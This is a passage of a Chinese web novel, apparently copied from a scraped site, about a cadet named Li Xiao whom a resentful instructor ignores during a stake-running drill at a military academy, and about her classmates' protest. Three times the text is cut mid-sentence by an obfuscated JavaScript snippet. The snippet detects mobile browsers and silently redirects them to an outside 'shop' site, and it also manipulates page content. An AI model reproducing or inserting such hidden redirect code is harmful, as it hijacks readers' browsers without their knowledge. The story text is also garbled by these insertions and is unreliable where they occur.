安杰洛甩开多余的思绪,跟着众人一道,看向了济慈准尉。 九 黎晓深吸了一口气。 ——她知道自己战败了。 济慈准尉不是误以为她弱小,所以无视她。 他根本就不在意她是强是弱,只是单纯地想要无视她。他不准备给她任何评价,甚至对她没有任何情绪,无论是正面的还是负面的。他甚至都不打算让她当众出丑。 他只想让她消失。 平生头一次,她绝望、委屈、不甘到差点哭出来。 她几乎都忘了,她曾经是个很容易哭的人——哪怕掐着自己的胳膊一遍遍地命令自己不准哭不准哭不准哭,眼泪也还是会不受控制地落下来。好在她固然控制不住眼泪,但她能控制自己的脑子不去运行会让自己哭出来的情绪。 这很容易——只要用全部心神去关注自己能做些什么,如何改正,如何做得更好。让脑子满负载到完全没有空闲去委屈,自然就会忘掉哭。 但这一次显然也不管用了。 所幸眼泪没有涌出来。 哭没用。 遇到不讲理的人,只会引来更多嘲讽。遇到善良的人,也会给对方带来多余的困扰。 她一直都很讨厌哭。 她只是自然而然地想——济慈准尉恐怕无论如何都要无视她到底了,不论她做出怎样的努力。 这之后她该怎么办?安静地当一个不存在的人吗? 这也不是不行,至少济慈准尉在讲课的时候不会喝令她滚出去不准听——如此说来,济慈准尉其实也没对她有哪里不负责任。无非就算她有哪里做错了,济慈准尉也不会主动提醒她纠正。她也不可能去找济慈准尉答疑解惑。 这也不是不能解决,同班同学人都很好,他们应该很乐意跟她互相交流纠正。 但这最好放在课后进行,因为济慈准尉很明显,非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726883|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨厌同班同学当着他的面,做出试图替她出头、试图维护她的举动。 至于那些只能从济慈准尉身上学到的东西…… 确实,济慈准尉有她和她的同学们所不具备的经验——但这只是因为他比他们年长,在树海里多探索了些年岁。日后等她进了树海,自然也能学到……不,现在也可以。军部里就有很多前辈可以请教。 没关系。 她告诉自己。 没关系。 但是她说法不了自己,她真的感到不甘心——非常非常不甘心。 凭什么她要当一个透明人? 凭什么她要被自己的老师无视掉? 她明明没有做错任何事。 但这种散乱的思绪,在济慈准尉走到湿地边,停住脚步的那一刻,骤然消失了。 ——她感受到了济慈准尉的专注力。 那种感觉很难形容。 就像是一种特殊的气场在领域之内展开,他明明没有转身、没有回头,但空间之内所有可以查见的东西都在一瞬间被他注视和统摄了。 ——包括她。 那气场确实是济慈准尉所独有的。她能察觉到他尚未消散的怒火,和他想要给这群不成器的学生以下马威的情绪。 简直就像是,济慈准尉外放了他的导力——以探查的方式。 队伍里明显不止她一人感受到了这种“气场”。 原本多少因为情绪而有些无声吵闹的队伍,安静了下来,所有人都专注地看向了济慈准尉。 而后济慈准尉的气息在一瞬间消失了,他踏上了木桩。 ——这位准尉并不是个灵巧的人,他身材不算高大,但非常强壮。平时不怎么爱动,甚至跟队越野跑时,都要坐导力车。看上去疏于锻炼。但只消稍微留神就知道,他重心非常稳——他站在那里就像一座塔。 他很明显是个更擅长以力破巧的人。 但他奔跑在木桩上,就像是奔跑在平地上。 ——那木桩依旧是活的,他跑过去时依旧会撞出或者下沉。偶尔也有木桩子冷不丁地窜出来偷袭他,但他都步伐极简地地避过了。 不过十几秒的时间,他就已经平淡地在湿地对面的岸上,稳稳落地了。 他回过头来,微微昂头,看向对岸的学生们。 声音如狮子吼般清晰传至此处,并回荡在两岸崖壁之间。 他问:“看清楚了吗?!” 学生们没有回答。 ——看,肯定是看清楚了。 但所有人都知道济慈准尉问的不是这个意思,他问的是,看懂了吗,废物。 他们没看懂。 ……但内心的意气已经被激发出来。 所有人都死死瞪着他们的教官,想说一句——再来一遍,有本事你再来一遍,再来一遍绝对把你底裤都给看穿掉。 但他们知道这是济慈准尉的下马威,并且在开始之前,济慈准尉非常瞧不起人地说——他只演示一遍。 就只有寥寥几声“看懂了”响起。 于是济慈准尉不负众望地补了一句:“废物!” 而后他再次跳上木桩,稳稳地跑了回来。 落地之后他轻微有些喘,拾起自己的保温杯,喝了一口里面的枸杞茶。 而后轻蔑地看向着众人:“看懂了就开始练吧!” 黎晓闭目,安静地呼吸。 ——济慈准尉其实教过了,她想。 在新课程开始之前,济慈准尉让他们闭上眼睛感受空气的流动,在脑海中画一幅图。 济慈准尉其实不太擅长讲课——譬如他明明想让众人在呼吸中感受树海的节奏,令身体与之同调。他却只会骂人“不会喘气”,逼着所有人一遍遍地跑到极限,一次次地纠正摔打他们,到最后也照旧说不明白。 其实能考上二军大的学生,在这方面的悟性都远超常人,黎晓不过给他们演示了一遍,所有人就都在一夜之间领悟了。 以致于黎晓对自己的天赋产生了不小的怀疑——她不记得自己当初学会吐纳用了多久,但肯定很久。因为她依旧记得最初的时候,自己看着成铭迅速领悟,而自己却连体内游走的“气”都寻找不到的那种焦急感。 但或许,她之所以会成为少有的几个能听得懂济慈准尉的课的人,就是因为这种“不够聪明”。 ——她很懂那种明明知道肯定有这么回事,但就是摸索不到的感觉。 要突破视觉,用感知探察四周。 ——所有活物都能扰动空气中导力流淌的轨迹,看清楚这种轨迹,就可提前预判目标的行动。 她尝试领悟这种全新的探察方式时,第一列尝试的纪尧姆和陆清源已经先后落水了。 陆清源同学幸运地跑过了八根木桩,无需一百次蛙跳惩罚,按顺序排到了队伍的最末。 纪尧姆同学明显没有找到窍门,跟辛格同学一样,上桩直接平地摔,正在队列旁边抱着头蛙跳。 拍在队伍后面的人都伸着脖子观察正在跑桩的同学。 雷奥妮个子小,跳了几次看不到。又怕出列被济慈准尉骂,就从背后悄悄地戳黎晓:“木桩起落有什么规律没有?” ——她平时更喜欢问安杰洛。毕竟,安杰洛明显是他们中最聪明的那一个。但这一次黎晓被教官当众孤立了,她便找黎晓搭话,想着多少能安慰她一下。 黎晓摇头:“没有。都是随机的。但你可以尝试一下预判,桩子起落前,是有气息扰动的。” 说话之间,加布里埃尔和何塞同学也落水了。这两位也隐约察觉到了些什么,都超过了教官定下的标准。成功免于蛙跳。 雷奥妮似懂非懂,一边琢磨一边咕哝:“气息,气息……” 黎晓没再打扰她。 前排接二连三地落水,期待木桩有什么固定活动轨迹的学生都已失望。黎晓虽然依旧不能在视觉和杂音的扰乱之中,用肉眼看清楚导力的流动,却已渐渐能凭直觉判断出木桩的动向。 但当前排所有人都尝试完,前排再没有任何人站在她和济慈准尉之间,她感受到济慈准尉越过她直接看向沙奎尔同学的目光时,内心还是在一瞬间被扰乱了。 ——她不甘心。 ——她想直接走到济慈准尉的面前质问他,凭什么。 但她忍了下来。 她闭上眼睛,轻轻舒了一口气,摒除内心杂念。 冥想。 同调。 ——以探察的方式,释出导力。 原本正在张望的队伍里再次出现了短暂的寂静,站在黎晓身后几排的人都明显感受到了——有谁的“关注”扫视过他们周身,而后转瞬收回。 济慈准尉也感受到了。 但他什么也没说,只对着沙奎尔一抬下巴:“开始吧!” 53. 木与花之诗(八) 黎晓收起心神,踏上了木桩。 木桩的灵敏性超出了她的预料——简直就像是活的魔兽一样,能对她的行动作出反应。明明预判没有出错,却会在她踏上去的瞬间冷不丁地改变轨迹。 但应对这种“出击”,却没她想象中那么难。事实上哪怕完全不去做预判,仅凭身体原本的反应能力,她也完全应付得来。反而因为分神去预判,拖累了她身体原本的反应速度。 但她知道,只要适应了这种全新的战斗方式,她就能变得更强。 摔下去也没关系,显得很弱也没关系,她要练。 十 黎晓上桩时,战术组所有的学生都全神贯注地看了过去,后排视线被遮挡的学生甚至直接跨步出列,也要亲自观察。 ——前一天向黎晓请教时,他们其实就已隐隐意识到了,这个最初被他们判定为很弱、很可能就是他们这一届那个传说中的omega的女孩儿,也许反而正是他们之中仅次于陆清源的强者。 在得知达瓦市的讨伐之后,猜测已变成了确信。 陆清源的强大源自他无可企及的天赋,旁人学不来。 但黎晓的强大无疑源自她的聪明和自律,是可以效仿学习的。 并且这女孩理解能力出众,昨天他们就已经注意到了,哪怕是面对十分拙劣的沟通,她也总是能迅速领悟对方的困惑,给出直击要害的建议。所有人都毫不怀疑——若他们之中已经有人从济慈准尉语焉不详的教授里领悟到关键,那必然会是黎晓同学。 济慈准尉察觉到这种过度的关注,眼神冰冷。 他没有开口去喝斥,只态度越发嫌恶和不耐放。沙奎尔掉下木桩之后,他瞪着排在下一位的安杰洛和雷奥妮,直接命令:“跟上!” 安杰洛最后看了一眼黎晓,默不作声地踏上了木桩。 雷奥妮犹豫了一下,小声地提醒:“可是黎晓同学还没跑完。” 济慈准尉没理会她,只看着安杰洛跌跌撞撞地往前跑,骂:“水里有金子?抬起头来,向前看!再低头老子给你脖子拗断!”他话音才落,安杰洛已经因为踩空落水,济慈准尉当即便不再理他。命令排在下一位的学生,“跟上。” ——纪尧姆还在蛙跳,加布里埃尔补位上前,仗着自己不会读空气胡搅蛮缠:“可是我还想看看黎晓同学是怎么跑的——她都已经跑过一半了。能不能再等一会儿,准尉阁下?” 济慈准尉那猛虎扑杀一般的威势再度袭向了加布里埃尔,但加布里埃尔已经一回生两回熟。目光依旧紧盯着黎晓轻盈奔跑在木桩上的身影,任由济慈准尉倾泻怒意。 在济慈准尉更进一步之前,陆清源轻轻地开口了:“准尉阁下,我们所有人都想看。” 他开口之后,这支因为教官的怒火而犹豫纠结的队伍便在一瞬之间找稳了立场,所有人都看向了济慈准尉,用目光回答他——是的,不管您是否喜欢,这就是我们所有人的想法。 济慈身上仿佛有一根弦崩断了,他上前一把揪住了陆清源的衣领,肌肉暴起,举起了拳头。他眼中布满血丝,仿佛有寝皮食肉的仇恨。 这突如其来的爆发震惊了所有人——他们想过济慈准尉会因权威被挑战而暴怒,却完全没料到这怒火会如此沉重。 但当济慈准尉对上陆清源意有对抗、却隐忍未发的——一目了然属于下位听命者的目光后,他那盛大的暴怒便如哑掉的烟火一般,在众目睽睽之下悄然熄灭了。 他平复喘息,甩开陆清源的衣领。眼中只剩些旁观者的厌恨和讥讽。 他瞟了一眼黎晓,问:“她很优秀,对吗?” 陆清源没做声。 加布里埃尔回过神来,连忙接腔:“是啊,教官你也看到了对吧,她超厉害的。” 济慈准尉没理他。只盯着陆清源,眼中闪着嗜血的光。他压低了声音,粗砺的手指戳着陆清源的肩膀,目不斜视地凑近陆清源的耳边,警告:“你想跟她做什么我懒得管。但在我的训练场上,收起你那些龌龊的小心思。眼睛要是管不住就剜出来喂狗。军队不是你这种……” 这时人群里忽然传来一声惊呼,盖住了济慈准尉几不可闻的低语——黎晓自最后一根木桩上轻轻一跃,轻盈落足在了河对岸。她初次尝试,就追平了济慈准尉的记录。 而济慈准尉已扫了一把自己的衣领,转身回到原本的位置。 只陆清源瞳孔骤缩,呆立在原处。 “跟上!”济慈准尉再一次命令。 雷奥妮早已经被凶险又尴尬的气氛搞得如坐针毡,闻言立刻起跳上桩,快步逃离。 加布里埃尔也早跃跃欲试,立刻甩着看不见的尾巴兴高采烈地起跑了。 陆清源默然上前一步。 身后传来的给加布里埃尔加油的声音仿佛远去了,四面既顾虑着他的遭遇、又被黎晓振奋了精神的同学们也模糊不可见。他面前就只有参差起落的桩桥,和被扰乱的一滩浅水。浅水这一面站着他,另一面是黎晓清晰却宛若幻梦的身影。 他最恨的人的声音在脑海中回响起来—— “总有一天你会理解我,成为我。 “你以为克制住欲望,做妈妈的好宝宝。倾听omega的心声,做他们希望你去做的事,成为他们想让你成为的人,就能获得赞扬吗? “不,不会。他们不会理解你、感谢你——甚至都不会相信你,期待你。 “他们只会对你充满恐惧、戒备、猜疑。他们会对你虚与委蛇、欺骗你、利用你、稳住你。 “……而后寻找机会阉割你、毁灭你、抹杀你。 “因为你就站在这里,本性未改,能力未改。捕猎者的身份、凌驾于众的武力、只要愿意就可以轻易屠灭他们的本质……永远都不会改。 “认清现实吧。 “这就是你在这个世界里所扮演的角色,这就是,这个世界看待你的方式…… 济慈准尉的命令声打断了脑海中自顾自响起的声音:“跟上!” 陆清源平静地踏上了木桩,开始向着对岸奔跑。 ——真是荒谬啊。他冷漠地想。 为什么会在这种时候想起那个人,想起他那自以为是的、毫无逻辑、毫不相干的诅咒呢? 说到底,他不过就是不合时宜地喜欢上一个姑娘而已。 他从未打算向任何人宣示他的喜爱,甚至都不准备向那个姑娘表白。 他只想默默地祝福和守护,只希望当她实现自己的梦想时,他能成为向她祝贺的人中的一员。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726884|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就算终有一日他会成为这女孩生命中最特别的那一个人,与她相爱相守,那也将在遥远的未来、她也期许着他的那一刻水到渠成的实现。 可为什么,不管是他的母亲,还是安德烈、罗贝尔,或是这个毫不相干的济慈准尉……每一个人察觉到他心有恋慕的人,都自说自话地质疑他、规劝他、指控他、污蔑他? 他是什么不可控的野兽吗? ——为什么就不能闭上嘴巴,安安静静地在一旁看着? 陆清源曾无数次出入大树海,经历同龄人难以想象的严苛磨练。在看到这些木桩的那刻他就已经知晓这东西模拟的是什么场景,而它所模拟的东西,他也不止一次亲手击杀过。 根本无需思考,放任肌肉本能他就可信步踏过这些木桩,直接抵达对岸。 陆清源忽地感到懊悔……为什么没有一开始就这么做呢? 他明明知道,凭黎晓的能力定然能一次过关。如果一开始就直接去到对岸,他就可以直接站在那里等待黎晓闯过关卡同他汇合。就不必去听济慈准尉那些诛心的谰言,被败坏心情了。 啊,说起来……他究竟为什么会被济慈准尉不值一哂的诬词动摇内心? 陆清源茫然地想。 忽有一根潜水的木桩撞出水面,绊住前路。 他本该直接跳过,继续前行,内心却腾起一股无名之火——仿佛又回到年幼时那一刻,水中沼王放出的拟饵化作了那张令人憎恶的脸,他于是将所有怒火凝聚在脚下,用力踏了下去。 只听“嘭”地一声,那木桩被直接钉回泥中。漩涡带起微澜,从他脚下向着四周迅速扩散——而水面上所有的木桩也在同一时刻齐齐缩回泥中,消失得无影无踪。 导力卷起的风吹过水面袭向两岸,过处人人屏气凝声,皮肤生寒,紧张地盯着陆清源。 而陆清源脚下凝冰,目光茫然地、稳稳落回到水面上…… 啊,是了——陆清源平静地想,这东西只是模拟了沼王的生态,并没有模拟沼王的全部应激。它只是教学生练习潜行和感知的道具。他不但没藏好自己的气息,反而释出了太强的攻击性,已被判定失败了。 波澜推过,木桩消失所带起的点点涟漪迅速推平。浅水如镜。 两侧悬崖隔绝,视野直通前方天际。 而天际站着黎晓。 陆清源站在浅水中央,抬头看向黎晓。 黎晓也困惑地看着他,似乎在思索着什么——片刻后陆清源才意识到,黎晓没有看他,但确实是在思考。 大约是在思考这些木桩为什么会突然消失吧,陆清源凝视着她,默默地想——啊,她应该是相通了。 看到黎晓因为想通了关窍而流露出的恍然并喜悦的表情,陆清源那颗动摇混乱的心,也在不经意间重新柔软地安定下来。 ——太好了,他想,至少他的恋慕尚未给她造成阴霾。 ——太糟了,他想,她没有把目光分给他一点。 陆清源终于收回目光,转过身去。踏着水面,在所有人的目光注视下,一步一步走回岸边。 在他上岸之后,木桩才重新浮出水面。 而济慈准尉只是看了他一眼,便催促后排的学生:“跟上!” 54. 木与花之诗(九) 十一 裹挟着怒意的风刮过脸颊,掀起鬓发。令黎晓的身体不由自主地颤栗和僵直。 但看清楚对面的人是陆清源后,她便将因此产生的轻微厌恶感抛之脑后了——Alpha的信息素和导力会在外放时对被波及的人造成精神震慑这种事,早在高二那个秋天她就已经充分理解了。固然那是由管制化合物造成的意外事故,但诱发原理都是相通的。 ——客观规律就是这么不讲道理。 黎晓知道陆清源肯定没恶意。这只是无意的波及,是不可避免的生化反应。没必要挂怀。 她只娴熟地调整呼吸和脉流温暖身体、安抚精神。 也不由感慨——说起来,Alpha真是个便利的性别。什么都不必说,什么都不必做,只消稍微怒一下,所有人就都能领会他的痛苦。……等等,好像这也不是什么好事吧……难怪陆同学会养成这么沉稳内敛的性格啊。 所有这些心理活动,总共花费了不到半秒钟的时间——随即黎晓的注意力便转移到了同时消失的木桩上。 跑桩时的困惑就在电光火石之间有了答案——这些木桩或许确实是活的,不但他们可以通过感知水中的气息做出预判,对方也能感知他们身上的气息做出回应。陆清源释放出的杀气过于强烈,让水面下的本体感受到了威胁,所以它做出了“逃跑”的判断? 也就是说——或许她可以通过控制自身气息的收放,干扰甚至诱导木桩的起落吗? ……等等,不要急功近利、草率判断。要一步一步来。 首先她需要验证一下,如果她全程收敛住气息,这东西是否就完全无法提前感知到她的动作。不,可能不太对——先前她闭目感知时,固然如陆清源那般炽烈如朝阳的存在令人印象深刻,可其实地上的石头因为完全不释出气息,妨碍了四周空气的流通,在风图上也同样轮廓清晰。 潜形的关键,不在于屏息,在于和环境同调吗?……好像有些自相矛盾啊。 算了,两种方法都试一试,就知道结果了。 黎晓看向对岸。 陆清源返回之后,木桩再次升起。何塞和辛格同时跑上了木桩。 黎晓仔细观察着两人的动作,预判木桩的起落。 不释出感知,果然完全无法捕捉远处的气息,但只凭借战斗的直觉,竟也能猜得八九不离十————辛格同学身体重心已经偏移太多,只要在他左脚落下时往上一撞…… 啊,果然跌落了。 她知道济慈准尉肯定不会给她任何指使,如果不淌水回去排队,很可能会一直被晾到下一个同学跑到这边——甚至下一同学也会一起被晾在这边。 趁着辛格同学落桩、下一排还没来得及跟上,黎晓毫不犹豫地抓住空隙跑上木桩,开始返程。 她突然上桩,似乎让跑在另一排木桩上的何塞同学分了下神,趔趄了两三步后,何塞也从木桩上跌落下来。 黎晓还没来得及心生愧疚,何塞同学已微笑着抬起了头。他没有立刻折返回去,而是就站在浅水中央,揣着兜看着黎晓一路奔跑过来,在黎晓靠近时,才抬起手来,向她比了个击掌的动作。 黎晓略有怔愣,下意识地和他击了个掌。耳边像是掠过了一阵风,风里裹着一声轻轻的:“加油。” 短暂的错步之后,黎晓迅速收回心神,重新调整气息和步伐,向着前方奔去。 她平稳地跃回岸上,队伍里似乎有短暂的兴奋的骚乱,却随即就被济慈准尉的:“下一排跟上!”给压下了。 黎晓没有在意,她犹然在困惑何塞同学为何要中途跟她击掌。她攥了攥掌心,向着队伍后排走去。眼前却忽地又伸出了一只手——那手压得很低,手的主人甚至完全没有抬头看她,只微微抿着嘴唇,但她莫名就知道,这也是要击掌的意思。 她有些茫然,伸出手去轻轻击了一下,对方便用唇语无声地说了句:“加油。” 她尚未来得及给出反应,便看到了第二只手。手的主人同样没有看她,眼睛里却含着微笑。 ……她一路走去,同路过的每一个同学击掌,手心渐渐有些汗湿。身体里仿佛点起了暖炉,热量一点点扩散开来——直到指尖也开始发热。她才忽地意识到,原来先前她的手一直都是冷的。 原来,大家是想鼓励她。 眼中水珠一晃,黎晓才察觉到,虽然很顺利地压抑和无视掉了,但其实一直都在的——那种因为被无视、被放弃、被独自一人扔在对岸而起的委屈和孤独。 不过,这些都已经不重要了。 陆清源伸出手去,收敛起所有的心神和气息,与黎晓的手轻轻相击。 所有人的心都是清白的。他想。确实只有他会被济慈准尉的“诬词”刺中痛处,心生动摇。 但,这又怎么样呢? 十三 何塞走回岸上,济慈准尉眼皮也不抬一下,只抬手一指,用所有人都能听到的声音说:“擅自中断训练,随意交谈,扰乱课堂纪律,扣2分——这堂课你不用上了,去练蛙跳吧。” 何塞对这结果并不意外,敬礼领命,很平静地加入了蛙跳小队。 这是所有人自发的行动,没有经过任何合谋——单纯就是见不得班级里最友善的同学被教官公然排挤。济慈准尉的行为让人找不到出言质疑的空隙,他们就用这种方式消极抗议,也给遭遇不公的同学以无言的支持。 他们料到可能会有惩罚,却没料到惩罚只落在了一个人身上。 少年人的仗义让他们难以置身事外,一时都有些上头。 加布里埃尔率先抗议:“报告准尉,我也说话了。” 济慈准尉早料到他会开口一般,凶狠的目光立刻瞪了过去:“随意质疑教官,公然煽动与教官对抗,扣5分!你要是不想上我的课,就直接滚!” 这指控非同小可,加布里埃尔瞬间熄火。其余人也纷纷辩解:“我们没有被煽动。”“我们也不是要跟您对抗……” 济慈准尉目光扫过所有人,喝问:“——那你们这是在做什么?!” 嗓音穿透耳膜直击脑海,震得所有学生心神一颤,空气也为之肃然。 学生们不由同时噤声——他们确实想仗着人心公道,集体站出来抗议。被济慈准尉点破,才忽地意识到——这确实也可以解读为公然与教官对抗。 在军训守则里,这是非常严重的违纪,也是所有教官和军官的大忌。若济慈准尉以此发难,不论他自己日后还能否继续执教这个班级,何塞和加布里埃尔都很可能被当成煽动者通报处分。甚至整个班级都可能被其余的教官联合拒绝。 这就远远不是被扣分那么简单了。 他们毕竟还是学生,固然这个立宪百年的帝国里早已没了森然不可冒犯的贵贱等级秩序。但所有选择参军的学生内心其实都认可——服从是军人的天职;等级严密、上下有序是军队能如臂使指、流畅运转的根基。 他们以同龄人中最优先的席次选择进入军校,也并不是为了挑战这个根基。 黎晓攥紧了拳头,僵硬地站在那里——她知道一切都是因她而起,更知道若她站出去,只会再一次被济慈准尉无视,进一步激化对抗。 她不出声才是对所有人都好的做法。 ——但这种明明一切都因她而起、她却只能置身事外的感觉,真是糟糕透了。 她对这样的自己,感到了极端地厌恶。 她上前一步,正要开口,就听济慈准尉说:“不听警告,明知故犯,扣10分。”正当她惊喜于济慈准尉终于肯看到她时,就听济慈准尉意带嘲讽地重重咬下两个字,“‘少爷’,还有别的指使吗?” 她下意识扭过头去,才发现原来陆清源和她同时出列了。 ——济慈准尉看向的是陆清源,他自始至终都是在同陆清源对话。 她果然再一次被无视掉了。 黎晓克制住自己几乎喷薄而出的怒火。 这是早已料到的局面——她不能把她和济慈准尉两人之间的冲突,激化成集体和教官之间的对立。 她深呼一口气,用全力发声回应:“我接受您对我的扣分。但我请求您能对我一视同仁,公平看待!” 所有人都愣住了,雷奥妮悄悄戳安杰洛:“原来教官扣分的是黎晓同学吗?” 众人没有做声,都只看向陆清源——他们当然知道不是。他们也都觉得黎晓的回应很帅气,甚至懊恼先前何塞同学被扣分时他们怎么就没想到可以这么说。但身为Alpha他们同时又很清楚—— 挺身而出将别人护在身后,是alpha的特权。把Alpha护在身后,却是对Alpha尊严的冒犯。 他们有些摸不准陆清源的感受。 济慈准尉也看着陆清源。 陆清源没有动。 他稍微有些混乱——对他来说,在这种情况下站出来承担责任是一件理所应当的事,因为这个责任唯有他才能承担得住,也唯有他来承担,才能迫使济慈准尉顾虑后果冷静权衡。 但黎晓站出来了。 而黎晓会站出来,似乎又是理所当然的——这姑娘总是在他、在所有人都意想不到的时刻冲出来。在珞珈山讨伐兽潮时如此,在苍鹭亭他被蹲守时如此,这一次似乎也不该例外。 可这一次,明明应当是例外的。 但这一次……又为什么应当是例外? 陆清源张了张嘴,却忽然意识到,一旦他开口,黎晓刚才说的话就又会被济慈准尉理所当然地无视掉。 ……他想要替黎晓伸张正义,却没察觉到,这本身也是对这女孩儿存在感的挤占——他不是、也不该是这场抗争的主角。 他惊觉自己竟理所当然地无视了这么关键的问题,也在恍然间明白了自己为何始终无法靠近她的内心。 明明他早就意识到了——这女孩子在精神上,是一个和他势均力敌的Alpha。却一直在用对待Omega的方式看待她。 他于是闭上了嘴,以沉默回应济慈准尉的质询。 “怎么,连话都不能自己说了吗?” “报告教官。”陆清源抬起头来,目光直视前方,“黎晓同学的话,就是我想说的话。” 济慈准尉冷笑:“没别的了?” “没了。” “归队!” 陆清源没动。 黎晓也上前一步:“报告,您还没有给我答复。” 济慈准尉没理她,只看向陆清源,重复:“归队。” 陆清源说:“您也没有给我答复。” 济慈准尉略偏了偏头,终于第一次正面看向了黎晓。他脸上没任何表情,甚至连冷笑都没有,他只问:“靠男人强调自己的存在感,很方便对吧?” 气氛霎时间凝固了。 黎晓视野一晃,泪水瞬间盈满了眼眶。她用力掐住了自己的腿,昂头挺胸,强迫自己将眼泪咽回去。 济慈准尉已移开目光,直接对整个班级喝令:“全体归队——!” 没有人动,所有人都阴沉沉地盯着济慈准尉——这支队伍的士气已被内心正义和纪律正确之间的矛盾打得溃不成型。每个人人都在质疑和自我质疑,心底翻涌着无法宣之于口的愤怒和不平。 济慈准尉也阴沉地看着那一双双沉默对抗的眼睛——他很清楚,这一届学生比以往每一届都更优秀,比以往每一届都更让他满意和欣赏,却也比以往每一届都更令他忌惮和厌恶。他时常徘徊在想立刻让他们所有人都不及格滚蛋和想用更多的耐心去打磨他们之间。最终他还是按下了心中的恶意,再一次开口:“归队,我给你们答复——一视同仁的,公平的答复。” 所有人的目光,却同时看向了黎晓。 很好……济慈准尉想,这群废物果然还是统统死掉比较好。 黎晓深吸了一口气,克制住内心的情绪。 ——她很清楚,她和济慈准尉之间的冲突,到底还是演变成了整个班级和教官之间的对抗。 她选择留下,后续大概还是被羞辱。可若她选择离开,却可能会导致同学们为了支持她,而集体罢课抗议。 ……不,她无需去顾虑这些,她不是这个班的班长,她的同学也都是独立的个体。他们有他们自己的考量和判断,她不该自大到自以为能干扰旁人的理性。 ——她想要留下,根本就不是为了顾全什么大局,而是因为她无法容忍被继续排除在真相之外。 她想要知道济慈准尉为什么这么对她,为什么唯独这么对她。 她走到济慈准尉面前,向他敬礼。 “这堂课结束后,我会将今天发生的事投诉到纪律监察部,要求您为自己的言行作出解释和道歉,并申请更换班级或者教官。” 而后她转身回到队列,立正站好。 她归队之后,其余人才沉默着各自归队。 济慈准尉的目光扫过众人——他很想嘲讽一句,你们不会以为监察部是什么很受拥戴的正义部门吧? 在大树海里,向监察部投诉的孬兵才是所有士兵眼中的无能败类。因为这玩意儿贪污勒索无恶不作,叼住一点把柄就能把士兵吸得只剩一层皮,是所有士兵的公敌。但他没说,因为监察部不会不长眼睛去得罪还在就读阶段的军校生。等日后他们分配下放之后,该懂的自然会懂,不懂的说了只会让他们用得更顺手。 何况如今他才是更不能被得罪的那个。就算这女孩儿去告了,监察部维护的也只会是他。 他只盯着这群学生年轻受挫愤怒却志不得伸的眼睛,问:“你们要公平,什么叫公平?” “出生就是贵族,塞进军校里读几年书就能当上军官,这叫公平?” “三岁就被塞进烟囱里扫壁灰……到死也不知道学校是什么,这叫公平?” “十三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726885|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁进树海当兵,摸爬滚打十几年,比不上个少爷小姐们读几年书,这叫公平?” “眼看就能活着退役了,忽然冒出一个连树海潮汐是什么都不懂的蠢货军官——他让你去送死你就得去送死,这TM的叫公平?!” “——别跟老子说公平。你们自己,就是那个最大的‘不公平’!” 队伍里依旧只有一片沉默。 没有人能共情济慈准尉。 因为这番说辞其实同军训第一天、第二天……同军训开始后每一天济慈准尉的训话都没有任何区别。 ——他们有原罪。因为他们能上得起济慈准尉不能上的学,能考上济慈准尉没能考的军校,所以他们能当军官,而济慈准尉这样劳苦功高、能力出众的老兵却只能当老兵。 哪怕所有这些都在他们出生之前就发生了,哪怕他们甚至都还没能对这个社会做任何事,哪怕他们自始至终做的都只是在这个世界允许他们参与的竞争凭借自身能力公平的胜出,哪怕他们之中除了陆清源之外所有人都只是他们生存环境里的“普通人”,而所谓的“少爷小姐”陆清源自身的能力根本就是他们之中最优秀的那一个——他们也应当为此承受怒火和控诉。 因为他们的存在本身,就是对济慈准尉的“不公平”。 他们承认,世界是参差不平的。在他们看不到的地方存在着众多的不公,他们也只是侥幸出生在了不会因为规则而在出生的那一刻就落入地狱的环境里。他们承认换做他们处于济慈准尉的境地,也未必有机会去考军校。 但是,这又怎么样? 这是他们能选择的吗? 还是说如果所有人都能自由做出选择,就不会有人落入先天不利的处境? ——凭什么要让他们,为此背负原罪?! 终于有人隐忍不住,低声反驳:“既然如此,您又何必屈身辱志来给我们这些‘不公平’当教官?” “因为老子不教,来的就是那些只知道讨好你们的怂包了。他们能跟你们说什么实话?!” 面对着一双双无动于衷的眼睛,济慈准尉心中的火也一点点变得冰冷,他怒视着这些可恨的学生:“什么叫公平?士兵不会跟你们讲公平,士兵从来没得到过公平。树海才是公平——树海会一视同仁地干掉所有不长眼的人。 “但不长眼的军官可以用士兵当盾牌,可以送士兵去替他们死,甚至不用替他们死,单纯就送士兵去死。 “你们但凡还有一点良心,就别跟我要什么狗屁公平!管住你们自己,离那些会让你们三心二意的东西远一些。全力去活,也让别人活。要是管不住自己——”他直视着黎晓,说,“就滚回你那个可以撒泼打滚讨要公平的小窝!” 黎晓脑中嗡地一响,愤怒终于克制不住喷涌而出。 